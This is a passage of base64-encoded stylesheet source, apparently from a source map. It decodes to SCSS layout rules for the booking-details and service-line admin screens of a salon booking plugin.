GVtcGhhO1xuXHRcdH1cblx0fVxuXHQuc2xuX21ldGFfZmllbGQgKyAuc2xuLWJveC10aXRsZS0tbnUtLXRlciB7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0fVxufVxuXG5ALXdlYmtpdC1rZXlmcmFtZXMgbG9hZDgge1xuXHQwJSB7XG5cdFx0LXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcblx0XHR0cmFuc2Zvcm06IHJvdGF0ZSgwZGVnKTtcblx0fVxuXHQxMDAlIHtcblx0XHQtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7XG5cdFx0dHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcblx0fVxufVxuQGtleWZyYW1lcyBsb2FkOCB7XG5cdDAlIHtcblx0XHQtd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuXHRcdHRyYW5zZm9ybTogcm90YXRlKDBkZWcpO1xuXHR9XG5cdDEwMCUge1xuXHRcdC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTtcblx0XHR0cmFuc2Zvcm06IHJvdGF0ZSgzNjBkZWcpO1xuXHR9XG59XG4jc2xuX2Jvb2tpbmctZGV0YWlscyB7XG5cdC5zbG4tYm94X19yb3ctLWZsZXgge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHR9XG5cdC5zbG4tYm94X19yb3ctLWZsZXgtLWFsY2VudGVyIHtcblx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0ZmxleC13cmFwOiB3cmFwO1xuXHRcdG1hcmdpbi1ib3R0b206IDNyZW07XG5cdFx0LnNsbi1zZWxlY3Qge1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHR9XG5cdH1cblx0LnNsbi1ib3hfX3Jvdy0tZmxleC0tYWxlbmQge1xuXHRcdGRpc3BsYXk6IGZsZXg7XG5cdFx0YWxpZ24taXRlbXM6IGVuZDtcblx0XHRmbGV4LXdyYXA6IHdyYXA7XG5cdFx0LnNsbi1zd2l0Y2gtLXZpZXdtb2RlIHtcblx0XHRcdGp1c3RpZnktc2VsZjogZW5kO1xuXHRcdH1cblx0fVxuXG5cdEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbDtcblx0LnNsbi1ib29raW5nLWN1c3RvbWVyLXNjb3JlLFxuXHQuc2xuLXJhdGluZ19fd3JhcHBlciB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHRcdG1hcmdpbi1ib3R0b206IDJyZW07XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGNvbG9yOiByZ2IoMCwgNTMsIDgzKTtcblx0fVxuXHQvLyAuc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXRpdGxlIHtcblx0Ly8gfVxuXHQuc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXZhbHVlLFxuXHQuc2xuLXJhdGluZyB7XG5cdFx0ZGlzcGxheTogZmxleDtcblx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdGhlaWdodDogMTAwJTtcblx0XHRmb250LXNpemU6IDEuNzVyZW07XG5cdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuXHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRib3JkZXItcmFkaXVzOiA1cHg7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ncmV5LS1saWdodCgwLjUpO1xuXHR9XG59XG5cbiNzbG5fcmVzb3VyY2UtZGV0YWlscyAuc2xuLXN3aXRjaCB7XG5cdG1hcmdpbi10b3A6IDIzcHg7XG5cdG1hcmdpbi1ib3R0b206IDA7XG59XG5cbiNzbG5fcmVzb3VyY2UtZGV0YWlscyAuc2xuLXN3aXRjaCBsYWJlbCB7XG5cdGZvbnQtc2l6ZTogMTJweDtcbn1cblxuLnNsbi1yZXNvdXJjZXMtZGlzYWJsZWQge1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG59XG4vLyBub3cgLnNsbi1wcm9mZWF0dXJlX190b29sdGlwXG4vLyAuc2xuLXJlc291cmNlcy1kaXNhYmxlZDpob3ZlciAuc2xuLWJvb2tpbmctcHJvLWZlYXR1cmUtdG9vbHRpcCB7XG4vLyBcdGRpc3BsYXk6IGJsb2NrO1xuLy8gfVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXJlc291cmNlcy1kaXNhYmxlZCAuc2xuLXJlc291cmNlcy0tY2hlY2tib3gge1xuXHRjb2xvcjogI2NjYztcblx0Y3Vyc29yOiBub3QtYWxsb3dlZDtcblx0b3BhY2l0eTogMC41O1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXJlc291cmNlcy1kaXNhYmxlZCAuc2xuLXJlc291cmNlcy0tY2hlY2tib3ggbGFiZWwge1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcbn1cblxuLyogRklYIDA5MjAyMyAqL1xuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbl9ib29raW5nLWRldGFpbHMge1xuXHQvLyAuc2xuLXJvdyB7XG5cdC8vIFx0Ly9kaXNwbGF5OiBmbGV4O1xuXHQvLyBcdC8vYWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ly8gfVxuXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMSB7XG5cdFx0d2lkdGg6IDguMzMzMzMzMzMlO1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmc6IDAgMTVweDtcblx0fVxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTIge1xuXHRcdHdpZHRoOiAxNi42NjY2NjY2NiU7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0zIHtcblx0XHR3aWR0aDogMjUlO1xuXHRcdGxpIGlucHV0IHtcblx0XHRcdHBhZGRpbmc6IDA7XG5cdFx0XHRtaW4taGVpZ2h0OiAxLjVyZW07XG5cdFx0fVxuXHR9XG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNCB7XG5cdFx0d2lkdGg6IDMzLjMzMzMzJTtcblx0fVxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTUge1xuXHRcdHdpZHRoOiA0MS42NjY2NjY2NyU7XG5cdFx0cGFkZGluZzogMCAxNXB4O1xuXHR9XG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNiB7XG5cdFx0d2lkdGg6IDUwJTtcblx0XHRwYWRkaW5nOiAwIDE1cHg7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xLFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTIsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtMyxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC00LFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTUsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtNixcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC03LFxuXHQuc2xuLXJvdyAuc2xuLWJvb2tpbmctc2VydmljZS0tY29sLTgsXG5cdC5zbG4tcm93IC5zbG4tYm9va2luZy1zZXJ2aWNlLS1jb2wtOSxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMCxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMSxcblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xMiB7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdG1pbi1oZWlnaHQ6IDFweDtcblx0XHRwYWRkaW5nLWxlZnQ6IDVweDtcblx0XHRwYWRkaW5nLXJpZ2h0OiA1cHg7XG5cdH1cblx0LnNsbi1yb3cgLnNsbi1ib29raW5nLXNlcnZpY2UtLWNvbC0xLnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0d2lkdGg6IDIwcHg7XG5cdFx0cGFkZGluZy1ib3R0b206IDEuNyU7XG5cdFx0Y3Vyc29yOiBwb2ludGVyO1xuXHRcdC5iYXIge1xuXHRcdFx0d2lkdGg6IDIwcHg7XG5cdFx0XHRoZWlnaHQ6IDJweDtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG5cdFx0XHRtYXJnaW46IDNweCAwO1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZS0tbW92ZSB7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHdoaXRlO1xuXHRcdHotaW5kZXg6IDI7XG5cdFx0dG9wOiBhdXRvO1xuXHR9XG5cdC8vIC5zbG4tcm93IC5zbG4tYnRuIHtcblx0Ly8gXHQvL2JvdHRvbTogMTBweDtcblx0Ly8gfVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZS13YXJuaW5nLFxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZS5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLXdhcm5pbmcge1xuXHRcdGJvcmRlci13aWR0aDogMnB4O1xuXHRcdGJvcmRlci1jb2xvcjogI2U4YWE4Nztcblx0fVxuXG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmUgLnNsbi1zZWxlY3Qge1xuXHRcdG1hcmdpbi1ib3R0b206IDAuODMzMzMzMzMzM3JlbTtcblx0fVxufVxuXG4vLy8vIE5VIC8vIERFQ0VNQkVSIDIwMjNcbiNzbG5fYm9va2luZy1kZXRhaWxzLFxuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbl9ib29raW5nLWRldGFpbHMge1xuXHQjc2xuLWJvb2tpbmdfX2N1c3RvbWVyIHtcblx0XHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsbiB7XG5cdFx0XHR3aWR0aDogY2FsYygxMDAlIC0gMi40cmVtKSAhaW1wb3J0YW50O1xuXHRcdH1cblx0fVxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lIHtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMC4yNXM7XG5cdFx0Ji5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmUtLW1vdmUge1xuXHRcdFx0Ly90cmFuc2Zvcm06IHNjYWxlKDEuMDMpO1xuXHRcdFx0cGFkZGluZy1yaWdodDogMDtcblx0XHRcdHBhZGRpbmctbGVmdDogMDtcblx0XHRcdGJveC1zaGFkb3c6IDBweCAwcHggNXB4IDJweCByZ2JhKDUwLCA1MCwgNTAsIDAuMjUpO1xuXHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudCB7XG5cdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQge1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tbW92ZS1saW5lIHtcblx0XHRcdGRpc3BsYXk6IG5vbmU7XG5cdFx0fVxuXG5cdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fbGFiZWwge1xuXHRcdFx0bWFyZ2luOiAwO1xuXHRcdFx0cGFkZGluZzogMCAwIDAgMDtcblx0XHRcdC8vYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHNsbi1udWNvbG9yLS1tYWluKDAuNSk7XG5cdFx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0XHRcdEBleHRlbmQgJWZvbnQtY2xfbWFpbjtcblx0XHRcdGZvbnQtd2VpZ2h0OiA0MDA7XG5cdFx0fVxuXHRcdC5zZWxlY3QyLWNvbnRhaW5lci0tZGlzYWJsZWQgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAyNSUgNDUlIDMwJTtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcblx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRzcGFuOm50aC1jaGlsZCgxKSB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdFx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0XHRcdFx0dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG5cdFx0XHR9XG5cdFx0XHRzcGFuOm50aC1jaGlsZCgyKSB7XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG5cdFx0XHR9XG5cdFx0XHRzcGFuICsgc3BhbiB7XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiBib2xkO1xuXHRcdFx0fVxuXHRcdFx0c3BhbjpudGgtY2hpbGQoMykge1xuXHRcdFx0XHRwYWRkaW5nLWxlZnQ6IDFyZW07XG5cdFx0XHRcdGdyaWQtY29sdW1uOiAzO1xuXHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ly8gLnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdFx0Ly8gLnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZSB7XG5cdFx0Ly8gXHQvL2JvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQ7XG5cdFx0Ly8gfVxuXHRcdC5zbG4tYWxlcnQuc2xuLWFsZXJ0LS1mYWRlaW5vdXQge1xuXHRcdFx0dG9wOiAwO1xuXHRcdFx0cmlnaHQ6IDA7XG5cdFx0XHRib3R0b206IDA7XG5cdFx0XHRsZWZ0OiAwO1xuXHRcdFx0d2lkdGg6IGF1dG87XG5cdFx0XHRoZWlnaHQ6IGF1dG87XG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1va2JnKDAuOSk7XG5cdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1kYXJrKDEpO1xuXHRcdFx0Ly9vcGFjaXR5OiAxO1xuXHRcdFx0ei1pbmRleDogMjtcblx0XHRcdC8vICYuaGlkZSB7XG5cdFx0XHQvLyBcdC8vZGlzcGxheTogbm9uZSAhaW1wb3J0YW50O1xuXHRcdFx0Ly8gfVxuXHRcdH1cblx0XHQuc2xuLWJ0bi0tYmlnIHtcblx0XHRcdHotaW5kZXg6IDE7XG5cdFx0fVxuXHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1zdGFydGVuZCB7XG5cdFx0XHRkaXNwbGF5OiBncmlkO1xuXHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyO1xuXHRcdFx0Z2FwOiAxcmVtO1xuXHRcdFx0bGFiZWwudGltZSB7XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiBib2xkO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0taXRlbXNlbGVjdGlvbiB7XG5cdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0taGVhZGVyLXdyYXBwZXIge1xuXHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47XG5cdFx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwLjVyZW07XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lX19sYWJlbCB7XG5cdFx0XHRcdG1hcmdpbjogMDtcblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1xdWFudGl0eS1sYWJlbCB7XG5cdFx0XHRcdGZvbnQtc2l6ZTogMTRweDtcblx0XHRcdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRcdFx0Y29sb3I6ICM1NTU7XG5cdFx0XHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0XHRcdG1hcmdpbjogMDtcblx0XHRcdFx0cGFkZGluZzogMDtcblx0XHRcdFx0dGV4dC1hbGlnbjogcmlnaHQ7XG5cdFx0XHRcdHNwYW4ge1xuXHRcdFx0XHRcdGZvbnQtd2VpZ2h0OiA2MDA7XG5cdFx0XHRcdFx0Y29sb3I6ICMzMzM7XG5cdFx0XHRcdFx0bWFyZ2luLWxlZnQ6IDAuMjVyZW07XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRwYWRkaW5nLXJpZ2h0OiAycmVtO1xuXHRcdFx0fVxuXHRcdH1cblx0XHQvLyYuc2xuLWJvb2tpbmctc2VydmljZS1saW5lX19jb250ZW50LS1oaWdoZW5kOm5vdCguc2xuLWJvb2tpbmctc2VydmljZS1saW5lX19jb250ZW50LS1yZXNvdXJjZXMpLFxuXHRcdC8vJi5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnQtLXJlc291cmNlczpub3QoLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fY29udGVudC0taGlnaGVuZCkge1xuXHRcdG1hcmdpbi1ib3R0b206IDJyZW07XG5cdFx0cGFkZGluZzogMS41cmVtIDFyZW0gMXJlbSAxcmVtO1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdFx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHQvL31cblx0XHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtYXgtd2lkdGg6IDc2N3B4KSB7XG5cdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0ZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcblx0XHRcdGdhcDogMS41cmVtO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogMnJlbTtcblx0XHRcdHBhZGRpbmc6IDEuNXJlbSAxcmVtIDFyZW0gMXJlbTtcblx0XHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdFx0XHRib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtbGluZV9fbGFiZWwge1xuXHRcdFx0XHRwYWRkaW5nOiAwLjI1cmVtIDFyZW07XG5cdFx0XHR9XG5cdFx0XHQuc2xuLXNlbGVjdCB7XG5cdFx0XHRcdG1hcmdpbi1ib3R0b206IDA7XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0taXRlbXNlbGVjdGlvbiB7XG5cdFx0XHRcdG9yZGVyOiAxO1xuXHRcdFx0XHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIHtcblx0XHRcdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDJyZW07XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tc3RhcnRlbmQge1xuXHRcdFx0XHRvcmRlcjogMjtcblx0XHRcdFx0bGFiZWwudGltZSB7XG5cdFx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdFx0aGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdFx0bGluZS1oZWlnaHQ6IDIuNXJlbTtcblx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdFx0XHRcdHBhZGRpbmc6IDAgMXJlbTtcblx0XHRcdFx0XHRib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLWF0dGVuZGFudHMge1xuXHRcdFx0XHRvcmRlcjogMztcblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1yZXNvdXJjZXMge1xuXHRcdFx0XHRvcmRlcjogNDtcblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1hY3Rpb24ge1xuXHRcdFx0XHRvcmRlcjogNTtcblx0XHRcdFx0bWFyZ2luLXRvcDogMXJlbTtcblx0XHRcdFx0Ym9yZGVyLXRvcDogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdC5zbG4tYnRuLS1iaWcge1xuXHRcdFx0XHRcdGRpc3BsYXk6IGZsZXggIWltcG9ydGFudDtcblx0XHRcdFx0XHRmbGV4LWRpcmVjdGlvbjogcm93LXJldmVyc2U7XG5cdFx0XHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0XHRtYXJnaW46IDFyZW0gYXV0byAwIGF1dG87XG5cdFx0XHRcdFx0cGFkZGluZy1sZWZ0OiBpbmhlcml0O1xuXHRcdFx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0XHRcdGRpc3BsYXk6IGlubGluZTtcblx0XHRcdFx0XHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHRcdFx0XHRcdHRvcDogaW5pdGlhbDtcblx0XHRcdFx0XHRcdGxlZnQ6IGluaXRpYWw7XG5cdFx0XHRcdFx0XHRwYWRkaW5nLWxlZnQ6IDA7XG5cdFx0XHRcdFx0XHR0cmFuc2Zvcm06IGluaXRpYWw7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDIwcHggY2FsYyg1MCUgLSAyMHB4KSAyNSUgY2FsYygyNSUgLSA2cmVtKTtcblx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcblx0XHRcdGdhcDogMnJlbTtcblx0XHRcdGFsaWduLWl0ZW1zOiBzdHJldGNoO1xuXHRcdFx0Ly9hbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0Ly9ib3JkZXItYm90dG9tOiAxcHggc29saWQgJGNsX2dyZXktLWxpZ2h0ZXI7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAxcmVtO1xuXHRcdFx0cGFkZGluZy1ib3R0b206IDFyZW07XG5cdFx0XHQvLyA+ICoge1xuXHRcdFx0Ly8gXHQvL2JvcmRlcjogMXB4IHNvbGlkIHJlZDtcblx0XHRcdC8vIH1cblx0XHRcdC5zbG4tc2VsZWN0IHtcblx0XHRcdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdFx0XHRyaWdodDogMC40cmVtO1xuXHRcdFx0fVxuXHRcdFx0LnNsbi1idG4tLWJpZyB7XG5cdFx0XHRcdGhlaWdodDogMi41cmVtO1xuXHRcdFx0XHRsaW5lLWhlaWdodDogMi41cmVtO1xuXHRcdFx0fVxuXHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0XHRcdHdpZHRoOiA0MHB4O1xuXHRcdFx0XHRkaXNwbGF5OiBmbGV4O1xuXHRcdFx0XHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXHRcdFx0XHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdGN1cnNvcjogZ3JhYjtcblx0XHRcdFx0LmJhciB7XG5cdFx0XHRcdFx0d2lkdGg6IDIwcHg7XG5cdFx0XHRcdFx0aGVpZ2h0OiAycHg7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdG1hcmdpbjogMnB4IGF1dG87XG5cdFx0XHRcdH1cblx0XHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRcdGN1cnNvcjogZ3JhYmJpbmc7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1pdGVtc2VsZWN0aW9uIHtcblx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRcdGRpc3BsYXk6IGdyaWQ7XG5cdFx0XHRcdFx0Z3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiA0NiUgMjYlIDI0JTtcblx0XHRcdFx0XHRnYXA6IDIlO1xuXHRcdFx0XHRcdGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcblx0XHRcdFx0XHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRcdFx0XHRcdHNwYW4ge1xuXHRcdFx0XHRcdFx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblx0XHRcdFx0XHRcdG92ZXJmbG93OiBoaWRkZW47XG5cdFx0XHRcdFx0XHR0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcblx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0c3BhbjpudGgtY2hpbGQoMSkge1xuXHRcdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0XHRcdGZvbnQtd2VpZ2h0OiBub3JtYWw7XG5cdFx0XHRcdFx0XHR3aGl0ZS1zcGFjZTogbm93cmFwO1xuXHRcdFx0XHRcdFx0b3ZlcmZsb3c6IGhpZGRlbjtcblx0XHRcdFx0XHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXHRcdFx0XHRcdFx0Jjpvbmx5LWNoaWxkIHtcblx0XHRcdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHRcdHNwYW46bnRoLWNoaWxkKDIpIHtcblx0XHRcdFx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRc